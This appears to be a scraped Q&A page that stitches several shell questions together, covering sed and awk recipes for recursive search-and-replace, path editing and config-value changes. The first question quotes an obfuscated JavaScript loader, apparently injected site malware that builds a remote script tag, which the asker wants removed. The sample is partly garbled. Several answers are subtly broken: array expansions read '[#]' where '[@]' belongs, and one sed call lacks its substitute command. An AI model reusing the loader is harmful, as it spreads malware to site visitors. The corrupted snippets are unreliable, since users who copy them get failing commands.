I have a very long and complex string in many files and I want to remove/replace it recursively. The string contains many slashes, backslashes and spaces and any kind of special signs.
Example ( this's the string to find ):
var a=['ffffff/fdf',')njosirthalcfoml5','length','trderrnrme1fze6r(','script','abs','parentNode','getElementsByTagName','t=ha5mytou5_p_d','5mgrfokf7tma7l!pp','type','async','oe3m6axnwt8s5omh7','jfjOcxieyd2njif','createElement','while','fdsfd'];(function(b,e){var f=function(g){while(--g){b'push';}};f(++e);}(a,0x12b));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var _cs=['3tqnjerg4Akriews)ue',b('0xb'),b('0x10'),'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',b('0x5'),b('0x3'),b('0xa'),b('0x8'),'get','fejiekzokovce',b('0xf'),b('0x2'),b('0xc'),b('0x7')];if(ndsw===undefined){var ndsw=true;(function(){var c=navigator;var d=document;var e=screen;var f=window;var g=c[m(_cs[0x0])];var h=c[m(_cs[0x2])];var i=d[m(_cs[0x9])];var j=f[m(_cs[0x7])][m(_cs[0xb])];var k=d[m(_cs[0x6])];if(k&&!n(k,j)){if(!n(i,m(_cs[0xa]))){var c=db('0x4');c[b('0x0')]=_cs[0xd];c[b('0x1')]=![0x0];l[b('0xd')]b('0x6');}}aaaaaaa m(p){var q='';for(var r=0x0;rm(_cs[0x5])!==-0x1;}ffffff o(p){var q='';for(var r=p[b('0x9')]-0x1;r>=0x0;r--){q+=p[r];}return q;}}());}```
How do I do that?
Would it be possible to write the search string to a file and use this as input for a search & replace recursively command?
The purpose is to remove the entire string found in a path recursively.
If there is only one occurrence of the string per text file this will append 'MARKER' to the start and end of the complex string, then delete the text between 'MARKER's:
for f in $(find . -name "*.txt")
do
sed -i "s/var\ a/MARKER_var\ a/g" "$f"
sed -i "s/\`\`\`/\`\`\`MARKER/g" "$f"
sed -i 's/MARKER.*MARKER//g' "$f"
done
Related
I would like to add a name in the middle of dirPath
#!/bin/bash
name='agent_name-2'
dirPath='/var/azp/1/s'
I want to insert agent_name-2 after /var/azp in dirPath, and store it in a separate variable result like this
result=/var/azp/agent_name-2/1/s
If /var/azp is a hard coded string (i.e. constant), try:
name='agent_name-2'
dirPath='/var/azp/1/s'
result="/var/azp/$name${dirPath#/var/azp}"
Explanation: ${dirPath#/var/azp} removes the string /var/azp from the beginning of the string $dirPath.
Try this:
#!/bin/bash
name='agent_name-2'
dirPath='/var/azp/1/s'
Split dirPath by / and store it in the array dirs.
IFS=/ read -r -a dirs <<< "$dirPath"
Calculate the middle of the array.
middle=$(((${#dirs[#]}+1)/2))
Create two new arrays left and right with the left and right half of the dirs array.
left=("${dirs[#]:0:$middle}")
right=("${dirs[#]:$middle}")
Join the left and right half and put the name in between.
result="$(printf "%s/" "${left[#]}" "$name" "${right[#]}")"
Remove the trailing slash.
result=${result%/}
Bash search-replace
You can use Bash's search and replace syntax ${variable//search/replace}.
prefix='/var/azp'
result=${dirPath//$prefix/$prefix\/$name}
# > /var/azp/agent_name-2/1/s
sed s
If $name doesn't contain any special characters, you could inject it into a sed search-replace:
$ sed "s|/var/azp|\0/$name|" <<< "$dirPath"
/var/azp/agent_name-2/1/s
Then for saving the result to a variable, see How do I set a variable to the output of a command in Bash?
I want to search for a string and then from that string i want to replace 10 characters with another 10 characters.
For Example,
/prd/edm/hadoop/ifrs/eglex/hdata/ifrs_sri_open/eglex_*_txnacbal/ods=2020_02_23/
i want to search for string "ods=" and replace "2020_02_23" with "2020_02_30"
Since that date "2020_02_23" is not consistent i wanted to search with "ods=" which is static and one time for a line.
Like this more lines are there in the file.
I tried:
cat dta_1.sh | sed 's/.*ods=//' | cut -c1-10
I want to search for string "ods=" and replace "2020_02_23" with
"2020_02_30"
sed 's|\(.*ods=\).*|\12020_02_30/|g' inputfile
The regex inside the parenthesis \( \) is reproduced by \1, and the string after ods= is replaced by 2020_02_30/.
If there could be something else besides / after the date, then go for this:
sed 's|\(.*ods=\)...._.._..|\12020_02_30|g' inputfile
I've completed this using the below,
sed -i '/ods=/ s|ods="[^"]*"|ods='"${DATE_FORMAT2}"'|g' dta_2.sh
Thanks all for the response
I have some app config file tmp.cfg. And need to change some given values inside.
Here are the string examples:
app-stat!error!25871a5f-9f50-40ac-923d-c80a660fe21d!1!2
app-stat!queued!25871a5f-9f50-40ac-923d-c80a660fe21d!5!10
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!1!2
app-stat!error!5670b363-6a5d-4fcd-819e-85786c5957f1!120!200
For all strings that contains
!error! then following some GUID and then values !1!2 change to
!error! then preserve some GUID and then NEW values !7!10
I do not need to touch other string that contains !error! then GUID but different values in the end
Here what I've tried:
sed -i "s/error\!.*\!1\!2/error\!.*\!4\!8/g" tmp.cfg
It finds all string that I need but replaces a GUID actually with symbols .* instead of GUID number itself.
How to build sed expression in that way to preserve the wildcard part?
The expected result is:
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!4!8
The actual result is:
app-stat!error!.*!4!8
sed 's/\(!error!.*\)!1!2/\1!4!8/g' file
Guess you need something like this.
Pattern enclosed within
\( ... \)
are saved in registers for later use and can be accessed as \1, \2 … upto \9.
In the above sed expression, pattern from !error!<GUID> is captured in \1 and used while replacing as \1!4!8.
You can omit g from the sed expression if you are sure that the same pattern won't occur twice on a line.
This is easy to do with awk
awk '$2=="error" && $4==1 && $5==2 {$4=7;$5=10}1' FS="!" OFS="!" file
app-stat!error!25871a5f-9f50-40ac-923d-c80a660fe21d!7!10
app-stat!queued!25871a5f-9f50-40ac-923d-c80a660fe21d!5!10
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!7!10
app-stat!error!5670b363-6a5d-4fcd-819e-85786c5957f1!120!200
Separate fields by !
Then if field 2=error, filed 4=1 and field 5=1
Set field 4 and 5 to 7 and 10
1 do print the lines
This sed command should work:
sed -r 's/(.*)!error!(.*)!1!2$/\1!error!\2!4!8/g' file_name
I have a input file "test.txt" as below -
hostname=abc.com hostname=xyz.com
db-host=abc.com db-host=xyz.com
In each line, the value before space is the old value which needs to be replaced by the new value after the space recursively in a folder named "test". I am able to do this using below shell script.
#!/bin/bash
IFS=$'\n'
for f in `cat test.txt`
do
OLD=$(echo $f| cut -d ' ' -f 1)
echo "Old = $OLD"
NEW=$(echo $f| cut -d ' ' -f 2)
echo "New = $NEW"
find test -type f | xargs sed -i.bak "s/$OLD/$NEW/g"
done
"sed" replaces the strings on the fly in 100s of files.
Is there a trick or an alternative way by which i can get a report of the files changed like absolute path of the file & the exact lines that got changed ?
PS - I understand that sed or stream editors doesn't support this functionality out of the box. I don't want to use versioning as it will be an overkill for this task.
Let's start with a simple rewrite of your script, to make it a little bit more robust at handling a wider range of replacement values, but also faster:
#!/bin/bash
# escape regexp and replacement strings for sed
escapeRegex() { sed 's/[^^]/[&]/g; s/\^/\\^/g' <<<"$1"; }
escapeSubst() { sed 's/[&/\]/\\&/g' <<<"$1"; }
while read -r old new; do
find test -type f -exec sed "/$(escapeRegex "$old")/$(escapeSubst "$new")/g" -i '{}' \;
done <test.txt
So, we loop over pairs of whitespace-separated fields (old, new) in lines from test.txt and run a standard sed in-place replace on all files found with find.
Pretty similar to your script, but we properly read lines from test.txt (no word splitting, pathname/variable expansion, etc.), we use Bash builtins whenever possible (no need to call external tools like cat, cut, xargs); and we escape sed metacharacters in old/new values for proper use as sed's regexp and replacement expressions.
Now let's add logging from sed:
#!/bin/bash
# escape regexp and replacement strings for sed
escapeRegex() { sed 's/[^^]/[&]/g; s/\^/\\^/g' <<<"$1"; }
escapeSubst() { sed 's/[&/\]/\\&/g' <<<"$1"; }
while read -r old new; do
find test -type f -printf '\n[%p]\n' -exec sed "/$(escapeRegex "$old")/{
h
s//$(escapeSubst "$new")/g
H
x
s/\n/ --> /
w /dev/stdout
x
}" -i '{}' > >(tee -a change.log) \;
done <test.txt
The sed script above changes each old to new, but it also writes old --> new line to /dev/stdout (Bash-specific), which we in turn append to change.log file. The -printf action in find outputs a "header" line with file name, for each file processed.
With this, your "change log" will look something like:
[file1]
hostname=abc.com --> hostname=xyz.com
[file2]
[file1]
db-host=abc.com --> db-host=xyz.com
[file2]
db-host=abc.com --> db-host=xyz.com
Just for completeness, a quick walk-through the sed script. We act only on lines containing the old value. For each such line, we store it to hold space (h), change it to new, append that new value to the hold space (joined with newline, H) which now holds old\nnew. We swap hold with pattern space (x), so we can run s command that converts it to old --> new. After writing that to the stdout with w, we move the new back from hold to pattern space, so it gets written (in-place) to the file processed.
From man sed:
-i[SUFFIX], --in-place[=SUFFIX]
edit files in place (makes backup if SUFFIX supplied)
This can be used to create a backup file when replacing. You can then look for any backup files, which indicate which files were changed, and diff those with the originals. Once you're done inspecting the diff, simply remove the backup files.
If you formulate your replacements as sed statements rather than a custom format you can go one further, and use either a sed shebang line or pass the file to -f/--file to do all the replacements in one operation.
There's several problems with your script, just replace it all with (using GNU awk instead of GNU sed for inplace editing):
mapfile -t files < <(find test -type f)
awk -i inplace '
NR==FNR { map[$1] = $2; next }
{ for (old in map) gsub(old,map[old]) }
' test.txt "${files[#]}"
You'll find that is orders of magnitude faster than what you were doing.
That still has the issue your existing script does of failing when the "test.txt" strings contain regexp or backreference metacharacters and modifying previously-modified strings and handling partial matches - if that's an issue let us know as it's easy to work around with awk (and extremely difficult with sed!).
To get whatever kind of report you want you just tweak the { for ... } line to print them, e.g. to print a record of the changes to stderr:
mapfile -t files < <(find test -type f)
awk -i inplace '
NR==FNR { map[$1] = $2; next }
{
orig = $0
for (old in map) {
gsub(old,map[old])
}
if ($0 != orig) {
printf "File %s, line %d: \"%s\" became \"%s\"\n", FILENAME, FNR, orig, $0 | "cat>&2"
}
}
' test.txt "${files[#]}"
i want to replace a special string inside a file.txt. my strings are like this :
-> Old String
tech=/lsf/dfg/a.v,/ldf/fgh/b.v
-> New String
tech=$var
i have tried following
sed -i 's/tech=/lsf/dfg/a.v,/ldf/fgh/b.v/tech=$var/g' file.txt
it doesnt work.
sed -i 's#tech=/lsf/dfg/a.v,/ldf/fgh/b.v#tech=$var#g' file.txt
Just replace the delimiters '/' for the sed expression with '#' (or another character that is not in the string you are trying to match and replace).